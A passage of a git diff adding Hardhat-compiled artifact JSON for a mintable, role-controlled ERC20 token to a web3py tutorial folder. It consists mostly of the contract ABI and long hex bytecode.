602283612003565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a5b602683612003565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ac1601683612003565b91507f43616c6c6572206973206e6f742061206d696e746572000000000000000000006000830152602082019050919050565b6000611b01602883612003565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611b67602583612003565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611bcd602483612003565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c33601783612014565b91507f416363657373436f6e74726f6c3a206163636f756e74200000000000000000006000830152601782019050919050565b6000611c73602583612003565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611cd9601183612014565b91507f206973206d697373696e6720726f6c65200000000000000000000000000000006000830152601182019050919050565b6000611d19602f83612003565b91507f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008301527f20726f6c657320666f722073656c6600000000000000000000000000000000006020830152604082019050919050565b6000611d7f601f83612003565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b611dbb81612143565b82525050565b611dca8161214d565b82525050565b6000611ddb82611c26565b9150611de78285611911565b9150611df282611ccc565b9150611dfe8284611911565b91508190509392505050565b6000602082019050611e1f60008301846118ba565b92915050565b6000602082019050611e3a60008301846118c9565b92915050565b60006020820190508181036000830152611e5a81846118d8565b905092915050565b60006020820190508181036000830152611e7b81611942565b9050919050565b60006020820190508181036000830152611e9b81611982565b9050919050565b60006020820190508181036000830152611ebb816119e8565b9050919050565b60006020820190508181036000830152611edb81611a4e565b9050919050565b60006020820190508181036000830152611efb81611ab4565b9050919050565b60006020820190508181036000830152611f1b81611af4565b9050919050565b60006020820190508181036000830152611f3b81611b5a565b9050919050565b60006020820190508181036000830152611f5b81611bc0565b9050919050565b60006020820190508181036000830152611f7b81611c66565b9050919050565b60006020820190508181036000830152611f9b81611d0c565b9050919050565b60006020820190508181036000830152611fbb81611d72565b9050919050565b6000602082019050611fd76000830184611db2565b92915050565b6000602082019050611ff26000830184611dc1565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061202a82612143565b915061203583612143565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561206a576120696121e9565b5b828201905092915050565b600061208082612143565b915061208b83612143565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156120c4576120c36121e9565b5b828202905092915050565b60006120da82612123565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561217857808201518184015260208101905061215d565b83811115612187576000848401525b50505050565b600061219882612143565b915060008214156121ac576121ab6121e9565b5b600182039050919050565b600060028204905060018216806121cf57607f821691505b602082108114156121e3576121e2612218565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612261816120cf565b811461226c57600080fd5b50565b612278816120ed565b811461228357600080fd5b50565b61228f816120f7565b811461229a57600080fd5b50565b6122a681612143565b81146122b157600080fd5b5056fea264697066735822122072e9599113b5017aabb9d98830de7485353dfd61f7886f14fd6cdf1bedf54e9164736f6c63430008000033",
+  "deployedBytecode": "0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806340c10f19116100ad578063a457c2d711610071578063a457c2d71461036b578063a9059cbb1461039b578063d5391393146103cb578063d547741f146103e9578063dd62ed3e146104055761012c565b806340c10f19146102b357806370a08231146102cf57806391d14854146102ff57806395d89b411461032f578063a217fddf1461034d5761012c565b8063248a9ca3116100f4578063248a9ca3146101fd5780632f2ff15d1461022d578063313ce5671461024957806336568abe1461026757806339509351146102835761012c565b806301ffc9a71461013157806306fdde0314610161578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101cd575b600080fd5b61014b60048036038101906101469190611891565b610435565b6040516101589190611e0a565b60405180910390f35b6101696104af565b6040516101769190611e40565b60405180910390f35b610199600480360381019061019491906117f0565b610541565b6040516101a69190611e0a565b60405180910390f35b6101b761055f565b6040516101c49190611fc2565b60405180910390f35b6101e760048036038101906101e291906117a1565b610569565b6040516101f49190611e0a565b60405180910390f35b6102176004803603810190610212919061182c565b610661565b6040516102249190611e25565b60405180910390f35b61024760048036038101906102429190611855565b610681565b005b6102516106aa565b60405161025e9190611fdd565b60405180910390f35b610281600480360381019061027c9190611855565b6106b3565b005b61029d600480360381019061029891906117f0565b610736565b6040516102aa9190611e0a565b60405180910390f35b6102cd60048036038101906102c891906117f0565b6107e2565b005b6102e960048036038101906102e4919061173c565b610859565b6040516102f69190611fc2565b60405180910390f35b61031960048036038101906103149190611855565b6108a1565b6040516103269190611e0a565b60405180910390f35b61033761090c565b6040516103449190611e40565b60405180910390f35b61035561099e565b6040516103629190611e25565b60405180910390f35b610385600480360381019061038091906117f0565b6109a5565b6040516103929190611e0a565b60405180910390f35b6103b560048036038101906103b091906117f0565b610a90565b6040516103c29190611e0a565b60405180910390f35b6103d3610aae565b6040516103e09190611e25565b60405180910390f35b61040360048036038101906103fe9190611855565b610ad2565b005b61041f600480360381019061041a9190611765565b610afb565b60405161042c9190611fc2565b60405180910390f35b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104a857506104a782610b82565b5b9050919050565b6060600380546104be906121b7565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea906121b7565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b600061055561054e610bec565b8484610bf4565b6001905092915050565b6000600254905090565b6000610576848484610dbf565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c1610bec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611f02565b60405180910390fd5b6106558561064d610bec565b858403610bf4565b60019150509392505050565b600060056000838152602001908152602001600020600101549050919050565b61068a82610661565b61069b81610696610bec565b611035565b6106a583836110d2565b505050565b60006012905090565b6106bb610bec565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071f90611f82565b60405180910390fd5b61073282826111b3565b5050565b60006107d8610743610bec565b848460016000610751610bec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d3919061201f565b610bf4565b6001905092915050565b61080c7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6336108a1565b61084b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084290611ee2565b60405180910390fd5b6108558282611295565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60606004805461091b906121b7565b80601f0160208091040260200160405190810160405280929190818152602001828054610947906121b7565b80156109945780601f1061096957610100808354040283529160200191610994565b820191906000526020600020905b81548152906001019060200180831161097757829003601f168201915b5050505050905090565b6000801b81565b600080600160006109b4610bec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890611f62565b60405180910390fd5b610a85610a7c610bec565b85858403610bf4565b600191505092915050565b6000610aa4610a9d610bec565b8484610dbf565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610adb82610661565b610aec81610ae7610bec565b611035565b610af683836111b3565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90611f42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90611ea2565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610db29190611fc2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2690611f22565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9690611e82565b60405180910390fd5b610eaa8383836113e9565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2790611ec2565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fc3919061201f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110279190611fc2565b60405180910390a350505050565b61103f82826108a1565b6110ce576110648173ffffffffffffffffffffffffffffffffffffffff1660146113ee565b6110728360001c60206113ee565b604051602001611083929190611dd0565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c59190611e40565b60405180910390fd5b5050565b6110dc82826108a1565b6111af5760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611154610bec565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6111bd82826108a1565b156112915760006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611236610bec565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611305576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fc90611fa2565b60405180910390fd5b611311600083836113e9565b8060026000828254611323919061201f565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611378919061201f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113dd9190611fc2565b60405180910390a35050565b505050565b6060600060028360026114019190612075565b61140b919061201f565b67ffffffffffffffff81111561144a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561147c5781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106114da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611564577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026115a49190612075565b6115ae919061201f565b90505b600181111561169a577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611616577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b828281518110611653577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c9450806116939061218d565b90506115b1565b50600084146116de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d590611e62565b60405180910390fd5b8091505092915050565b6000813590506116f781612258565b92915050565b60008135905061170c8161226f565b92915050565b60008135905061172181612286565b92915050565b6000813590506117368161229d565b92915050565b60006020828403121561174e57600080fd5b600061175c848285016116e8565b91505092915050565b6000806040838503121561177857600080fd5b6000611786858286016116e8565b9250506020611797858286016116e8565b9150509250929050565b6000806000606084860312156117b657600080fd5b60006117c4868287016116e8565b93505060206117d5868287016116e8565b92505060406117e686828701611727565b9150509250925092565b6000806040838503121561180357600080fd5b6000611811858286016116e8565b925050602061182285828601611727565b9150509250929050565b60006020828403121561183e57600080fd5b600061184c848285016116fd565b91505092915050565b6000806040838503121561186857600080fd5b6000611876858286016116fd565b9250506020611887858286016116e8565b9150509250929050565b6000602082840312156118a357600080fd5b60006118b184828501611712565b91505092915050565b6118c3816120e1565b82525050565b6118d2816120ed565b82525050565b60006118e382611ff8565b6118ed8185612003565b93506118fd81856020860161215a565b61190681612247565b840191505092915050565b600061191c82611ff8565b6119268185612014565b935061193681856020860161215a565b80840191505092915050565b600061194f602083612003565b91507f537472696e67733a20686578206c656e67746820696e73756666696369656e746000830152602082019050919050565b600061198f602383612003565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119f5602283612003565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a5b602683612003565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ac1601683612003565b91507f43616c6c6572206973206e6f742061206d696e746572000000000000000000006000830152602082019050919050565b6000611b01602883612003565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611b67602583612003565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611bcd602483612003565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c33601783612014565b91507f416363657373436f6e74726f6c3a206163636f756e74200000000000000000006000830152601782019050919050565b6000611c73602583612003565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611cd9601183612014565b91507f206973206d697373696e6720726f6c65200000000000000000000000000000006000830152601182019050919050565b6000611d19602f83612003565b91507f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008301527f20726f6c657320666f722073656c6600000000000000000000000000000000006020830152604082019050919050565b6000611d7f601f83612003565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b611dbb81612143565b82525050565b611dca8161214d565b82525050565b6000611ddb82611c26565b9150611de78285611911565b9150611df282611ccc565b9150611dfe8284611911565b91508190509392505050565b6000602082019050611e1f60008301846118ba565b92915050565b6000602082019050611e3a60008301846118c9565b92915050565b60006020820190508181036000830152611e5a81846118d8565b905092915050565b60006020820190508181036000830152611e7b81611942565b9050919050565b60006020820190508181036000830152611e9b81611982565b9050919050565b60006020820190508181036000830152611ebb816119e8565b9050919050565b60006020820190508181036000830152611edb81611a4e565b9050919050565b60006020820190508181036000830152611efb81611ab4565b9050919050565b60006020820190508181036000830152611f1b81611af4565b9050919050565b60006020820190508181036000830152611f3b81611b5a565b9050919050565b60006020820190508181036000830152611f5b81611bc0565b9050919050565b60006020820190508181036000830152611f7b81611c66565b9050919050565b60006020820190508181036000830152611f9b81611d0c565b9050919050565b60006020820190508181036000830152611fbb81611d72565b9050919050565b6000602082019050611fd76000830184611db2565b92915050565b6000602082019050611ff26000830184611dc1565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061202a82612143565b915061203583612143565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561206a576120696121e9565b5b828201905092915050565b600061208082612143565b915061208b83612143565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156120c4576120c36121e9565b5b828202905092915050565b60006120da82612123565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561217857808201518184015260208101905061215d565b83811115612187576000848401525b50505050565b600061219882612143565b915060008214156121ac576121ab6121e9565b5b600182039050919050565b600060028204905060018216806121cf57607f821691505b602082108114156121e3576121e2612218565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612261816120cf565b811461226c57600080fd5b50565b612278816120ed565b811461228357600080fd5b50565b61228f816120f7565b811461229a57600080fd5b50565b6122a681612143565b81146122b157600080fd5b5056fea264697066735822122072e9599113b5017aabb9d98830de7485353dfd61f7886f14fd6cdf1bedf54e9164736f6c63430008000033",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/18-web3py/ABI/MyTokenMintable2.json b/basic/18-web3py/ABI/MyTokenMintable2.json
new file mode 100644
index 000000000..b12cd4d30
--- /dev/null
+++ b/basic/18-web3py/ABI/MyTokenMintable2.json
@@ -0,0 +1,552 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "MyTokenMintable2",
+  "sourceName": "contracts/my_erc20_openzeppelin.sol",
+  "abi": [
+    {
+      "inputs": [],
+      "stateMutability": "nonpayable",
+      "type": "constructor"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Approval",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "previousAdminRole",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "newAdminRole",
+          "type": "bytes32"
+        }
+      ],
+      "name": "RoleAdminChanged",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        }
+      ],
+      "name": "RoleGranted",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        }
+      ],
+      "name": "RoleRevoked",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "from",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "to",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Transfer",
+      "type": "event"
+    },
+    {
+      "inputs": [],
+      "name": "BURNER_ROLE",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "DEFAULT_ADMIN_ROLE",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "MINTER_ROLE",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        }
+      ],
+      "name": "allowance",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "approve",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "balanceOf",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "from",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "burn",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "decimals",
+      "outputs": [
+        {
+          "internalType": "uint8",
+          "name": "",
+          "type": "uint8"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "subtractedValue",
+          "type": "uint256"
+        }
+      ],
+      "name": "decreaseAllowance",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        }
+      ],
+      "name": "getRoleAdmin",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "grantRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "hasRole",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "addedValue",
+          "type": "uint256"
+        }
+      ],
+      "name": "increaseAllowance",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "to",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "mint",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "name",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "renounceRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "revokeRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes4",
+          "name": "interfaceId",
+          "type": "bytes4"
+        }
+      ],
+      "name": "supportsInterface",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "symbol",
+      "outputs": [
+        {
+          "internalType": "string",
+          "name": "",
+          "type": "string"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "totalSupply",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transfer",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "recipient",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "transferFrom",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    }
+  ],
+  "bytecode": "0x60806040523480156200001157600080fd5b506040518060400160405280600781526020017f4d79546f6b656e000000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f544b4e000000000000000000000000000000000000000000000000000000000081525081600390805190602001906200009692919062000248565b508060049080519060200190620000af92919062000248565b505050620000c76000801b33620000cd60201b60201c565b6200035d565b620000df8282620000e360201b60201c565b5050565b620000f58282620001d560201b60201c565b620001d15760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620001766200024060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050